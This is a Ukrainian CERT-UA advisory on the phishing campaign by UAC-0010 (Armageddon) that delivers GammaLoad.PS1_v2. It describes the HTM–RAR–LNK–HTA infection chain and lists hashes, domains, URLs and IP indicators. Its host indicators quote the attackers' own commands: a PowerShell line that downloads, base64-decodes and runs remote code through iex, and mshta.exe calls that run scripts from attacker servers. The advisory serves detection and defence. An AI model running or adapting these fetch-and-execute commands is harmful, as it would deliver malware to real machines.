Кібератаки групи UAC-0010 (Armageddon) з використанням шкідливої програми GammaLoad.PS1_v2 (CERT-UA#5003,5013,5069,5071)

Загальна інформація

Урядовою командою реагування на комп'ютерні надзвичайні події України CERT-UA виявлено факт масового розповсюдження електронних листів з темами "Інформаційний бюлетень", "Бойове розпорядження", в тому числі, начебто, від Національної академії СБ України. При цьому, електронні листи розсилаються на приватні електронні адреси об'єктів атаки.

В додатку до листа знаходиться HTM-дропер, відкриття якого призведе до створення на комп'ютері RAR-архіву, наприклад "22_07_2022.rar". Останній містить LNK-файл з релевантною для жертви назвою, наприклад, "Інформаційний бюлетень Департаменту контрозвідки Служби безпеки України від 22 липня 2022 року.lnk", а запуск файлу-ярлика призведе до завантаження і виконання HTA-файлу.

Згаданий HTA-файл може містити VBScript-код, який, за допомогою PowerShell, здійснить декодування та запуск шкідливої програми GammaLoad.PS1_v2.

Зауважимо, що зловмисники намагаються уникнути DNS-резолвів доменних імен серверів управління, для чого, з метою отримання A-записів (IP-адрес), використовуться сторонні сервіси, наприклад: hxxps://cloudflare-dns[.]com/dns-query, hxxps://whoer[.]net/ru/checkwhois та інші.

Принагідно відмічаємо підвищення інтенсивності атак із застосуванням описаних тактик та закликаємо до вжиття системних заходів зі зменшення поверхні атаки (attack surface management), адже, наприклад, використання сторонніх поштових сервісів на службовому обладнання нівелює існуючий периметр безпеки (вміст і вкладення електронних листів не перевіряються засобами захисту).

Описана активність здійснюється групою UAC-0010 (Armageddon).

Індикатори компрометації

Файли:

```
c5977405d69f735f746354175b53f12c
bea69eac34c2b42108c857031e5c25fe9313ed64c22ff2fc95f30504da4c5424
ІТВ_АСУ_ПД_Дніпро_18.07.2022.htm
b307698a3b5134ea0708ed2222fb42f2
82a696d8f21ba738c0af474061c79584fefcfea5627b221b78a24fcf94dd1f2e
```

18_07_2022.rar
a407ac0d454724527b6f8da72f9ee1c0
22d1fe7676b26480e7d47b48dc19d9b3959662fb2c94fb06d2d3d170a31ea53f
ІТВ_АСУ_ПД_Дніпро_18.07.2022.htm
680a5bcbe5b068ee433c5bc35cde5d40
7cca81a2e043e2a87cda812275e1817a6f35ede75d83f76bad8f7ffa6f7e6f18
18_07_2022.rar
4489ab1c55dd32ea26528d97897e71ba
8e61bacc1d524885ea5f0bcdaabbfd56c2234ea62c10a9442d65444cab934847
8e61bacc1d524885ea5f0bcdaabbfd56c2234ea62c10a9442d65444cab934847
c5da0a4385b07aa63432005b7359d3d0
3e027bfad251a13b4765801cfa31692bdc057493061e04496c3e2667d8aee94c
18_07_2022.rar
5dbb7b2c33635478a369b8fd40e2d8b3
ef0ee60ccfb9418fea42c62aec3b7450cb4c14f15baf8b81139ccd4086a7c288
Попереднє бойове розпорядження зі зв'язку начальника штабу - першего заступника командира 43 оабр.lnk
b8aa1ca84adea55dcc0244ff12975400
af874c478a939641b21b96688855c4bc663797e6ba4af4f60f8fa1b6c1428d2e
preservation.xml
2b333fc9d4ad9eed100a3644d40b4755
0608ae0f28510591798a1603adabde86a9dbd67e1bfb1713c3f397d0d1a306d1
Попереднє бойове розпорядження зі зв'язку начальника штабу - першего заступника командира 43 оабр.lnk
903f87bef3f32d010deed6de78d1ade9
de9051d876961d2eebdeb4a2b0dbbc1da50f941cd638eb0aeaaacc4d3858f8dd
Попереднє бойове розпорядження зі зв'язку начальника штабу - першего заступника командира 43 оабр.lnk

b8aa1ca84adea55dcc0244ff12975400
af874c478a939641b21b96688855c4bc663797e6ba4af4f60f8fa1b6c1428d2e
preservation.xml
3d822040f77a2027643d37c063022751
9d1dc7f559272903b9e3b35ed410862260e42fe4058b21750b27d68e8f229859
topnewsas.html
419861397bb302c1e6b663d26982e578
84561b3db51327b059bbbab02a3d93d9fb89d5de080cbb8ebeaef7d5365f2700
Інформаційний бюлетень_20.07.2022.htm
c1c7da54905571a002b467109e56d423
508040716bb3d3f58fa6b58dd3ee52343f1a228f79d374e80e79751c8f446fc0
20_07_2022.rar
c57bd947e15a858f629979c8390d3414
980181feb0b5844036f2c99007cbe4bf9fb3ef2af940d5d8d7b957debad20b95
Інформаційний бюлетень Департаменту контрозвідки Служби безпеки України від 20 липня 2022 року.lnk

5c70578e4250274b92c9618abe59b238
811860d330b9335e4c0083c7d4121969b59d8b7dc475819310d894d7572cea6e
ІТВ_АСУ_ПД_Дніпро_20.07.2022.htm
9c73bd03e4c5d9796e9807c036ad51e1
98328773322c3bcec11105d7411bdde27f6663f33e01dae32a429226138e86b6
20_07_2022.rar
ee3661a8a6a1acf33e53f52a1e3a5533
315fdf6913cdcc1b94d3a43df12943164c8f30b89fbd69ccf8a254ca8d2de35a
Попереднє бойове розпорядження зі зв'язку начальника штабу - першого заступника командира 43 оабр.lnk
1fc26cefdaa10012be05c6252033b773
5a4b20a44ca8a10c9536ec2119593b22a57537cd9dbc6027d476fd2e74e0702e
ІТВ_АСУ_ПД_Дніпро_20.07.2022.htm

f459762a57d192d6a01c0177643fea28
ab7e2bb12bf98a022bfb239c55a514af6c6fcfe8c7c92ab77fc97a50a3126284
Інформаційний бюлетень_22.07.2022.htm
8906218a0149a9ea8bffd7619b43a2c1
6c6d1465de0e045399731440df5b54fdd91d50b4ddf8244bec62c1883b40bc35
22_07_2022.rar
91e4483615813398e61a7bef46c1e005
d530343732d149b5d681b54e83394211fd9e811b5ca88b1c23c132593605d661
Інформаційний бюлетень Департаменту контрозвідки Служби безпеки України від 22 липня 2022 року.lnk
b8182f549d6b08b8fe0e58f9d5292650
07323a7ecf084a1bb6cb81505dfd934c2706491053664588b3b5b065e3fb46f1
Queen.xml

c88ce71fafbbccb1a8b3e5f9f8e8b771
47c10e67cc06c99a1d5e1f7f1f60cd516b8445df53419517e0e1f2bfdcab3e18
Інформаційний бюлетень_25.07.2022.htm
e96bd54cc8c9b26fa5020fe55ef4d25f
b11f450a395ea22a71a5fd7f381783ec9e5639f68796b6a0a200ec8904ebcdad
25_07_2022.rar
c7e81154fd9906fdd91f9053a24b19ce
9569b0d2bd15beb7ae6ec17a3fb656f016693971d12c8d38b4de998c320550ff
Інформаційний бюлетень Департаменту контрозвідки Служби безпеки України від 25 липня 2022 року.lnk

Мережеві:

a0695487.xsph[.]ru
a0698262.xsph[.]ru
a0698649.xsph[.]ru

fishitor[.]ru
leonardis[.]ru
mail-box[.]site
fast-mail[.]site
your-mail[.]press
hXXps://t[.]me/s/topnewsas
hXXp://a0695487.xsph[.]ru/relationship/preservation.xml
hXXp://a0695487.xsph[.]ru/banisters/guess.xml
hXXp://a0698262.xsph[.]ru/see/guilty.xml
hXXp://a0698649.xsph[.]ru/reliance/grudge.xml
hXXp://a0698262.xsph[.]ru/see/guilty.xml
hXXp://a0698649.xsph[.]ru/nervous/Queen.xml
hXXp://a0698649.xsph[.]ru/selection/headache.xml
hXXp://a0698262.xsph[.]ru/quickly/neville.xml
hXXp://164[.]92.166.107/index[.]php
hXXp://45[.]63.114.110/index[.]php
hXXp://159[.]223.218.10/index[.]php
hXXps://cloudflare-dns[.]com/dns-query?name=%C2DOMAIN%&type=aaa (легітимний сервіс)
hXXps://whoer[.]net/ru/checkwhois (легітимний сервіс)
hXXp://194[.]67.87.33/CCLEANER123[.]db?=detachment
visnik-ssu@mail-box[.]site
dnipro@fast-mail[.]site
visnik-ssu@your-mail[.]press

Хостові:

```
%WINDIR%\System32\WindowsPowerShell\v1.0\powershell.exe -c ""$per =
[Enum]::ToObject([System.Net.SecurityProtocolType], 3072);
[System.Net.ServicePointManager]::SecurityProtocol =
$per;$urls='https://t.me/s/topnewsas';iex
([System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('Um'+
((New-Object net.webclient).UploadString($urls,'')).split('*')[1])))""
C:\Windows\System32\mshta.exe http://a0698262.xsph[.]ru/see/guilty.xml /f
C:\Windows\System32\mshta.exe http://a0698649.xsph[.]ru/reliance/grudge.xml /f
C:\Windows\System32\mshta.exe http://a0698649.xsph[.]ru/selection/headache.xml
/f
C:\Windows\System32\mshta.exe
http://a0695487.xsph[.]ru/relationship/preservation.xml /f
C:\Windows\System32\mshta.exe http://a0695487.xsph[.]ru/banisters/guess.xml /f
C:\Windows\System32\mshta.exe http://a0698649.xsph[.]ru/nervous/Queen.xml /f
C:\Windows\System32\mshta.exe http://a0698262.xsph[.]ru/quickly/neville.xml /f
```

Графічні зображення